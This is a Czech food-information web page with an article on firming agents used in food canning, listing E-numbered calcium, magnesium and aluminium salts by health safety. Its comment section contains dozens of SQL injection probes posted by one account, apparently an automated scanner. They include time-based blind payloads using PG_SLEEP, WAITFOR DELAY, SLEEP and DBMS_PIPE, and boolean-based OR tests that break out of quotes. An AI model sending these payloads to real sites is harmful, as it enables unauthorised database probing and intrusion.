Nápověda


Nevíte si s něčím rady? Kontaktujte nás, rádi Vám pomůžeme.

 
 

Zpevňující látky užívané v potravinářství

Hlasovat Hlasovat Hlasovat Hlasovat Hlasovat
1 48

Zpevňující látky pozitivně ovlivňují pevnost a případně také křehkost u mnoha druhů ovoce a zeleniny. V reakci s želírujícími látkami také ztužují gely a želírující směsi.  Nejznámější zpevňující látkou je cukr, který ale mezi tyto přídatné látky nepatří.

Zpevňující látky udržují pevnost a strukturu u mnoha druhů ovoce a zeleniny a zároveň v některých případech pozitivně ovlivňují jejich křehkost. Většina zpevňujících látek se dobře rozpouští ve vodě a snadno proniká do upravovaných potravin. Pokud se zpevňující látky přidávají k látkám želírujícím, jsou gely a želírovací směsi tužší. 

Používají se především v konzervárenském potravinářském průmyslu. Například u zavařovaných hrušek, konzervovaných meruněk nebo rajčat zajišťují, aby byly měkčí a přitom se vlivem zpracování nerozpadaly.

Zpevňující látky se nachází v několika skupinách přídatných látek a využívají i k jiným účelům např. jako regulátory kyselosti, protipékavé látky, látky zvýrazňující chuť a aroma, sekvestranty a plnidla. Dělí se na

  • přírodně identické
  • polosyntetické a syntetické

Zpevňující látky přírodně identické a synteticky získané, které jsou pro lidské zdraví bezpečné

  • E 263 - Octan vápenatý
  • E 333 - Citronany vápenaté (Citráty vápenaté, Dicitronan monovápenatý, Dicitronan divápenatý, Dicitronan trivápenatý, dihydrogencitrát vápenatý)

Uměle získané zpevňující látky syntetické a přírodně identické bez prokázaných nepříznivých vedlejších účinků na organismus člověka

  • E 578 - Glukonan vápenatý  
  • E 526 - Hydroxid vápenatý (Hašené vápno)
  • E 529 - Oxid vápenatý (Vápno)
  • E 509 - Chlorid vápenatý
  • E 511 - Chlorid hořečnatý
  • E 516 - Sírany vápenaté  (kalciumsulfát, calciumsulfát)

Zpevňující látky které mohou při větší koncentraci mít na zdraví lidí nevhodné účinky

  • E 520 - Síran hlinitý
  • E 521 - Síran sodno-hlinitý
  • E 522 - Síran draselno-hlinitý
  • E 523 - Síran hlinito-amonný  

Stejně jako u všech ostatních přídatných látek je i používání látek zpevňujících regulováno přísnými předpisy a také kontrolováno. Všechny látky jsou sice v surovinách a potravinách v takovém množství, které při běžné konzumaci lidské zdraví neohrožuje, ale u osob citlivějších na chemické přísady v jídle a dětí se mohou třeba až po nějaké době projevit  zdravotní potíže. Vzhledem k používání mnoha různých přídatných látek - tzv. eček - i v jednou druhu potravinářských výrobků je tedy vhodné si důkladně číst jejich složení. V případě, že se v potravině vyskytují pro lidský organismus nevhodné nebo nebezpečné látky by se konzumace měla omezit na nezbytně nutné minimum nebo úplně.

 

 

Komentáře

zjednoduseny-kd-61788a7d648131635289725
zjednoduseny-kd-61788a7d648131635289725 | před 2 lety

555'||DBMS_PIPE.RECEIVE_MESSAGE(CHR(98)||CHR(98)||CHR(98),15)||'

zjednoduseny-kd-61788a7d648131635289725
zjednoduseny-kd-61788a7d648131635289725 | před 2 lety

555*DBMS_PIPE.RECEIVE_MESSAGE(CHR(99)||CHR(99)||CHR(99),15)

zjednoduseny-kd-61788a7d648131635289725
zjednoduseny-kd-61788a7d648131635289725 | před 2 lety

yILrzkvI')) OR 522=(SELECT 522 FROM PG_SLEEP(15))--

zjednoduseny-kd-61788a7d648131635289725
zjednoduseny-kd-61788a7d648131635289725 | před 2 lety

73ZC6Qgf') OR 147=(SELECT 147 FROM PG_SLEEP(15))--

zjednoduseny-kd-61788a7d648131635289725
zjednoduseny-kd-61788a7d648131635289725 | před 2 lety

5VtFHZvN' OR 631=(SELECT 631 FROM PG_SLEEP(15))--

zjednoduseny-kd-61788a7d648131635289725
zjednoduseny-kd-61788a7d648131635289725 | před 2 lety

-1)) OR 954=(SELECT 954 FROM PG_SLEEP(15))--

zjednoduseny-kd-61788a7d648131635289725
zjednoduseny-kd-61788a7d648131635289725 | před 2 lety

-5) OR 305=(SELECT 305 FROM PG_SLEEP(15))--

zjednoduseny-kd-61788a7d648131635289725
zjednoduseny-kd-61788a7d648131635289725 | před 2 lety

-5 OR 84=(SELECT 84 FROM PG_SLEEP(15))--

zjednoduseny-kd-61788a7d648131635289725
zjednoduseny-kd-61788a7d648131635289725 | před 2 lety

6QtwYS4C'; waitfor delay '0:0:15' --

zjednoduseny-kd-61788a7d648131635289725
zjednoduseny-kd-61788a7d648131635289725 | před 2 lety

1 waitfor delay '0:0:15' --

zjednoduseny-kd-61788a7d648131635289725
zjednoduseny-kd-61788a7d648131635289725 | před 2 lety

-1); waitfor delay '0:0:15' --

zjednoduseny-kd-61788a7d648131635289725
zjednoduseny-kd-61788a7d648131635289725 | před 2 lety

-1; waitfor delay '0:0:15' --

zjednoduseny-kd-61788a7d648131635289725
zjednoduseny-kd-61788a7d648131635289725 | před 2 lety

(select(0)from(select(sleep(15)))v)/*'+(select(0)from(select(sleep(15)))v)+'"+(select(0)from(select(sleep(15)))v)+"*/

zjednoduseny-kd-61788a7d648131635289725
zjednoduseny-kd-61788a7d648131635289725 | před 2 lety

0"XOR(if(now()=sysdate(),sleep(15),0))XOR"Z

zjednoduseny-kd-61788a7d648131635289725
zjednoduseny-kd-61788a7d648131635289725 | před 2 lety

0'XOR(if(now()=sysdate(),sleep(15),0))XOR'Z

zjednoduseny-kd-61788a7d648131635289725
zjednoduseny-kd-61788a7d648131635289725 | před 2 lety

if(now()=sysdate(),sleep(15),0)

zjednoduseny-kd-61788a7d648131635289725
zjednoduseny-kd-61788a7d648131635289725 | před 2 lety

-1" OR 3*2>(0+5+658-658) --

zjednoduseny-kd-61788a7d648131635289725
zjednoduseny-kd-61788a7d648131635289725 | před 2 lety

-1" OR 3*2<(0+5+658-658) --

zjednoduseny-kd-61788a7d648131635289725
zjednoduseny-kd-61788a7d648131635289725 | před 2 lety

-1" OR 3+658-658-1=0+0+0+1 --

zjednoduseny-kd-61788a7d648131635289725
zjednoduseny-kd-61788a7d648131635289725 | před 2 lety

-1" OR 2+658-658-1=0+0+0+1 --

zjednoduseny-kd-61788a7d648131635289725
zjednoduseny-kd-61788a7d648131635289725 | před 2 lety

-1' OR 3*2>(0+5+484-484) or 'sQ0VYsOr'='

zjednoduseny-kd-61788a7d648131635289725
zjednoduseny-kd-61788a7d648131635289725 | před 2 lety

-1' OR 3*2<(0+5+484-484) or 'sQ0VYsOr'='

zjednoduseny-kd-61788a7d648131635289725
zjednoduseny-kd-61788a7d648131635289725 | před 2 lety

-1' OR 3+484-484-1=0+0+0+1 or 'sQ0VYsOr'='

zjednoduseny-kd-61788a7d648131635289725
zjednoduseny-kd-61788a7d648131635289725 | před 2 lety

-1' OR 2+484-484-1=0+0+0+1 or 'sQ0VYsOr'='

zjednoduseny-kd-61788a7d648131635289725
zjednoduseny-kd-61788a7d648131635289725 | před 2 lety

-1' OR 3*2>(0+5+97-97) --

zjednoduseny-kd-61788a7d648131635289725
zjednoduseny-kd-61788a7d648131635289725 | před 2 lety

-1' OR 3*2<(0+5+97-97) --

zjednoduseny-kd-61788a7d648131635289725
zjednoduseny-kd-61788a7d648131635289725 | před 2 lety

-1' OR 3+97-97-1=0+0+0+1 --

zjednoduseny-kd-61788a7d648131635289725
zjednoduseny-kd-61788a7d648131635289725 | před 2 lety

-1' OR 2+97-97-1=0+0+0+1 --

zjednoduseny-kd-61788a7d648131635289725
zjednoduseny-kd-61788a7d648131635289725 | před 2 lety

-1 OR 3*2>(0+5+117-117)

zjednoduseny-kd-61788a7d648131635289725
zjednoduseny-kd-61788a7d648131635289725 | před 2 lety

-1 OR 3*2<(0+5+117-117)

zjednoduseny-kd-61788a7d648131635289725
zjednoduseny-kd-61788a7d648131635289725 | před 2 lety

-1 OR 3+117-117-1=0+0+0+1

zjednoduseny-kd-61788a7d648131635289725
zjednoduseny-kd-61788a7d648131635289725 | před 2 lety

-1 OR 2+117-117-1=0+0+0+1

zjednoduseny-kd-61788a7d648131635289725
zjednoduseny-kd-61788a7d648131635289725 | před 2 lety

-1 OR 3*2>(0+5+26-26) --

zjednoduseny-kd-61788a7d648131635289725
zjednoduseny-kd-61788a7d648131635289725 | před 2 lety

-1 OR 3*2<(0+5+26-26) --

zjednoduseny-kd-61788a7d648131635289725
zjednoduseny-kd-61788a7d648131635289725 | před 2 lety

-1 OR 3+26-26-1=0+0+0+1 --

zjednoduseny-kd-61788a7d648131635289725
zjednoduseny-kd-61788a7d648131635289725 | před 2 lety

-1 OR 2+26-26-1=0+0+0+1 --

Zdravotní kalkulačka

:
: